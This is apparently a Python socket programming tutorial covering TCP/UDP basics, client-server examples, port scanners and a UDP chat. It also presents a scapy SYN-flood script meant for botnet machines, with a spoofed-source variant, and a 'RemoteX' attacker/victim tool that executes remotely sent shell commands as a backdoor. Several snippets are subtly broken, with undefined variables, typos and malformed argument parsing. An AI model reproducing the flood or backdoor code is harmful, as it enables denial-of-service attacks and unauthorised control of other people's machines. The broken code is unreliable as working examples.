Table of Contents
Socket programming is a method of allowing two network nodes to communicate with one another. One socket (node) listens on a specific port at an IP address, while the other socket establishes a connection. While the client connects to the server, the server creates the listener socket.
They are the proper foundations of online browsing. There is a server and a client, to put it simply.
Socket Programming in Python
Importing the socket library and creating a simple socket are the first steps in socket programming.
import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
We created a socket instance and gave two parameters to it here. AF_INET is the first parameter, while SOCK_STREAM is the second.
AF_INET denotes the address-family ipv4. The connection-oriented TCP protocol is referred to as SOCK_STREAM.
We may now use this socket to connect to a server.
Connecting to a server
If an error happens when creating a socket, then socket.error is thrown, and the only way to connect to a server is to know its IP. Use the two approaches below to get the server’s IP address:
$ ping www.google.com
You may also use Python to find the IP as follows:
import socket ip = socket.gethostbyname('www.google.com') print(ip)
In this article, we will cover the following critical concepts about Socket Programming In Python.
- Definition of Terms
- How Internet Works
- What is Socket
- What is Socket Programming
- TCP vs. UDP
- What is Raw Socket
- DDOS Attack
Definition of Terms
Here, we will examine the commonly used terms & their descriptions.
It is the protocol family that serves as the transport mechanism. Thus, constants like AF_INET, PF_INET, PF_UNIX, PF_X25, and so on are used to represent these values.
SOCK STREAM for connection-oriented protocols and SOCK_DGRAM for connectionless protocols is the type of communication between the two endpoints.
This value, usually 0, can identify a protocol variant within a type and a domain.
The network interface’s identifier:
- A colon or dot notated string can be a hostname, a dotted-quad address, or an IPV6 address.
- An INADDR_BROADCAST address is specified by the string “broadcast>.”
- A zero-length string that specifies INADDR_ANY.
- A binary address in host byte order, interpreted as an integer.
Clients calling on one or more ports are detected by each server. A port can be a Fixnum port number, a string that contains a port number, or a service name.
The socket_family is either AF_UNIX or AF_INET
The socket_type is either a SOCK_STREAM or SOCK_DGRAM.
Most of the time, it is usually left out, defaulting to 0.
The s.bind() method binds address (hostname, port number pair) to the socket.
The s.listen() method sets up and starts a TCP listener.
The s.accept() method passively accept client connects from TCP, waiting until the connection arrives (blocking).
The so.connect() method actively initiates server connection on TCP.
The s.recv() method receives TCP message
The s.send() method transmits TCP message
The s.recvfrom() method receives UDP message
The s.sendto() method transmits UDP message
The s.close() method closes socket
The socket.gethostname() method returns the hostname.
How Internet Works
Network refers to computers and devices connected with wires or wireless (WIFI). On the other hand, the Internet is a vast network that uses telephone lines, cables, satellites, and wireless connections to connect computers and other devices.
The communication through the Internet occurs through the OSI layer, and these comprise of :
1) The Application layer – deals with network process to application
2) Presentation Layer – Handles data representation as well as encryption
3) Session Layer – Deals with interhost communication
4) Transport Layer – The transport layer enforces end-to-end connections and reliability.
5) Network Layer – Deals with packets through path determination and IP, logical addressing.
6) Data Link Layer – This is a layer synonymous with frames and usually is about physical addressing – MAC & LLC
7) Physical Layer – Is usually is bits of signals, media, and binary transmission.
What is Socket and Socket Programming
A socket refers to a communication mechanism that allows clients and servers to connect based on specific rules.
On the other hand, Socket Programming is where we program our way and set the specific rules and protocols to use in this socket using a particular language, which is Python.
TCP vs. UDP
Two protocols are essential when dealing with Socket Programming. These consist of:
- TCP (Transmission Control Protocol)
- UDP (User Datagram Protocol)
What are the differences between the two protocols?
|Segment retransmission and flow control through windowing||No windowing or retransmission|
|Segment sequencing||No Sequencing|
|Acknowledge segments||No acknowledgment|
Reliable means we make sure that the packet we sent will reach without modification on it.
Connection-oriented means we establish a connection by three-way handshake, but UDP is connectionless, which means there is no three-way handshaking.
In TCP, we first initiate three-way handshaking before sending the data, whereas, in the UDP, we start sending the data immediately.
A raw socket is a sort of socket that gives access to the transport provider’s underlying data. So it is because, except ATMs, most other protocols do not support raw sockets. Therefore, an application must have precise information on the underlying protocol to use raw sockets.
In addition, they are Internet socket that allows dial sending and receiving of the Internet protocol (packets without any protocols, specific sport layer) and will enable you to craft your packet with no specification TCP or UDP.
TCP Client Service
from socket import * host = "192.168.0.10" s = socket(AF_INET, SOCK_STREAM) s.connect((host, port)) msg =" this is from client." s.send(msg.encode('ascii')) R_msg = s.recv(1024) print(R_msg.decode('ascii')) s.close()
from socket import * host ="192.168.0.10" s = socket(AF_INET, SOCK_STREAM) s.bind((host, port)) s.listen(5) while True: c, addr = s.accept() print("[+] Got connection from ", addr ) R_msg = c.recv(1024) print(R_mgs.decode('ascii')) msg =" this is from server" c.send(msg.encode('ascii')) c.close()
from socket import * server_address = ("192.168.0.10", 9000) s = socket(AF_INET, SOCK_DGRAM) msg = "this is from client" s.sendto(msg.encode('ascii'), server_address) data, server = s.recvfrom(1024) print(data.decode('ascii'))
from socket import * s = socket(AF_INET, SOCK_DGRAM) server_addr = ('192.168.0.10', 9000) s.bind(server_addr) data, addr = s.recvfrom(1024) print(data.decode('ascii')) msg =" this is from the server." s.sendto(msg.encode('ascii'), addr)
As an attacker, you control C & C servers (command and control). In turn, these servers control packets that will be sent to overwhelm the victim or target—all of these makeup what we call the BOTNET or the Bot Network.
Now, we will write the script that will send the packets, and this script must be on the bot’s computers or devices. So, each bot will send and use this script.
# ddos_attack.py from scapy.all import * source_IP = input("Enter IP address of Source: ") target_IP = input("Enter IP address of Target: ") source_port = int(input("Enter Source Port Number: ")) i = 1 while True: IP1 = IP(src=source_IP, dst = target_IP) TCP1 = TCP(sport = source_port, dport = 80) pkt = IP1/TCP1 send(pkt, inter =0.001) print("packet sent ", i) i = i +1
Randomly generate the source IP addresses from the network.
from scapy.all import * target_IP = input("Enter IP address of Target: ") source_port = int(input("Enter Source Port Number: ")) i = 1 while True: i1 = str(random.randint(1,254)) i2 = str(random.randint(1,254)) i3 = str(random.randint(1,254)) i4 = str(random.randint(1,254)) d = "." source_IP = i1 + d +i2 + d + i3 + d+ i4 IP1 = IP(src=source_IP, dst = target_IP) TCP1 = TCP(sport = source_port, dport= 80) send(pkt, inter=0.001) print("packet sent ", I) i = i + 1
How do you check if it is sending or not?
By using any sniffer, you have, and our best recommendation is Wireshark.
A simple server-client application
A server’s bind() method connects it to a specific IP address and port, allowing it to listen for incoming requests on that address and port. The listen() method on a server turns it into a listening server. It enables the server to receive incoming connections and listen for them. Finally, a server has two methods: accept() and close(). The accept method establishes a connection with the client, and the comparative process terminates that connection.
# first start by importing the socket library import socket # creation of a socket object sock = socket.socket() print ("Socket created successfully") # reserve a port on your computer - in our case it is 9000, but it can be anything port = 9000 # bind to the port # we have not typed any IP in the IP field, alternatively we inputted an empty string # this makes the server listen to requests coming from other peers on the network sock.bind(('', port)) print ("socket bonded to %s" %(port)) # place the socket into listening mode sock.listen(5) print ("socket is listening") # run a loop until we interrupt it or when an error occurs while True: # Establish a connection with the client. c, ip_addr = sock.accept() print ('Received connection from', ip_addr) # send a thank you message to the client. I am encoding to send byte type. c.send('Thank you for connecting'.encode()) # Close client's connection c.close() # Break when connection is closed break
First and foremost, we import socket, which is required.
Then we created a socket object and assigned it to a port on our computer.
We then configured our server to use the provided port. If you pass an empty string, the server will be able to listen in on incoming connections from other computers as well. If we had given 127.0.0.1, it would have only listened to calls made from within the local computer.
The server was then put into listening mode.
Five connections are kept waiting if the server is busy, and if a 6th socket tries to connect, the connection is rejected.
Now we need something that a server can communicate with. We could see tenet to the server like this to make sure it’s up and running. In the terminal, type the following commands:
# start the server $ python server.py
keep the above terminal open then, now open another terminal and type:
$ telnet localhost 9000
# import socket module import socket # socket object creation sock = socket.socket() # select the port on which you want to connect port = 9000 # connect to the server on local computer sock.connect(('127.0.0.1', port)) # receive data from the server and decode to get the desired string. print (s.recv(1024).decode()) # finally, the connection is closed sock.close()
To begin, we’ll create a socket object.
Then we connect to localhost on port 9000 (our server’s port), get data from it, and end the connection.
After launching the server script, save this file as client.py and run it from the terminal.
Below are three applications of socket programming in real life.
Example 1: Advanced RemoteX with modes
This script will work in two modes:
- Attacker mode
- Victim Mode
In the Attacker mode, it will execute commands and control the victim’s machine completely. On the other hand, victim mode will open port and keep listening to execute the attacker’s commands and send the output back.
By design, the Victim Mode aimed to work on Linux machines because 80% (if not more ) of the servers are using Linux. However, the Attacker Mode can work on any system, for instance, Linux or Windows.
from socket import * from sys import * from argparse import * from subprocess import * def help(): print("Usage: ./R.py -t <target_host> -p <port> \n") print("Examples: ") print(" Attacker mode") print(" ./R.py -t 192.168.8.103 -p 9000 \n") print(" Victim mode ") print("./R.py -1 -p 9000\n") def main(): if (len(argv[1:]) < 2): help() parser ArgumentParser(add_help=False) parser.add_argument('-t','-- target') parser.add_argument('-p', '--port', type=int) parser.add_argument('-l','--listen', action='store_true') args=parser.parse_args() s = socket(AF_INET,SOCK_DGRAM,0) # Victim Mode if(args.listen == True): if(args.target): print("Victim mode don't use -t") exit() s.bind(("0.0.0.0",args.port)) while(True): msg, add = s.recvfrom(65000) com = msg.decode('ascii') data = com[0:].split(' ') if(len(data[0:])> 1): res = run([data, data], stdout=PIPE) else: res = run([com], stdout=PIPE) here = res.stdout.decode('utf-8') s.sendto(here.encode('utf-8'), addr) # Attacker Mode else: while(True): c = input("Victim Machine #") s.sendto(c.encode('ascii'),(args.target, args.port)) rmsg, addr = s.recvfrom(65000) print(rmsg.decode('utf-8')) if(__name__ =='__main__': main()
python remote_x.py -t 192.168.0.10 -p 9000
Example 2: How Port Scanner Works
- Full -Open
- Most Common
- It is a relatively Quick Scan
- It does not complete the handshake process
- It simply syncs the packet with an SYN and waits for an SYN/ACK from the target. If we receive an SYN/ACK from the target, it means the port is open. Otherwise, it is closed. For instance, if we get REST
It is essentially the same as the half-open scan but instead, we finish the handshake with an SYN/ACK and establish a condition by sending the final ACK.
It is slower than half-open because it needs more packets to finish.
Other scans include:
- TCP Scans
- UDP Scans
- Ping Scans
- Stealth Scans
# port_s.py from socket import * from sys import * target = argv port = int(argv) s = socket(AF_INET, SOCK_STREAM) try: s.connect((target, port)) print("Port is Open") except: print("Port is Closed")
python port_s.py 192.168.0.10 80
Scanning for a range of ports
from socket import * from sys import * target = argv for I in range(1,5000): s = socket(AF_INET, SOCK_STREAM) try: s.connect((target, I)) print("Port %d is Open" % i) s.close() except: print("Port %d is Closed" %i) s.close()
python port_s.py 192.168.0.10
Example 3: UDP Chating System Peer to Peer
# peer1.py from socket import * from threading import * def Recving(s,o): while True: data, addr = s.recvfrom(1024) if(o and data.decode('ascii')=="OK!"): print("[+] Connected Successfully ") wel="OK!" s.sendto(wel.encode('ascii'), target) o=False continue print(data.decode('ascii')) my_addr = ("192.168.0.10", 9999) t_ip=input("Target IP:") target=(t_ip, 9999) s = socket(AF_INET,SOCK_DGRAM) s.bind(my_addr) print("Waiting Connection") wel="OK!" s.sendto(wel.encode('ascii'), target) once = True x = Thread(target=Recving, args=(s,once)) x.start() while True: msg = input("") s.sendto(msg.encode('ascii'), target)
# peer2.py from socket import * from threading import * def Recving(s, o): while True: data, server = s.recvfrom(1024) if(o and data.decode('ascii') == "OK!"): print("[+] Connected successfully") wel = "OK!" s.sendto(wel.encode('ascii'), target) o = False continue print(data.decode('ascii') my_addr =('192.168.8.103',9999) t_ip = input("Target IP :") target =(t_ip, 9999) print("waiting connection") s = socket(AF_INET, SOCK_DGRAM) s.bind(my_addr) once = True x = Thread(target=Recving, args=(s, once)) x.start() wel="OK!" s.sendto(wel.encode('ascii'), target)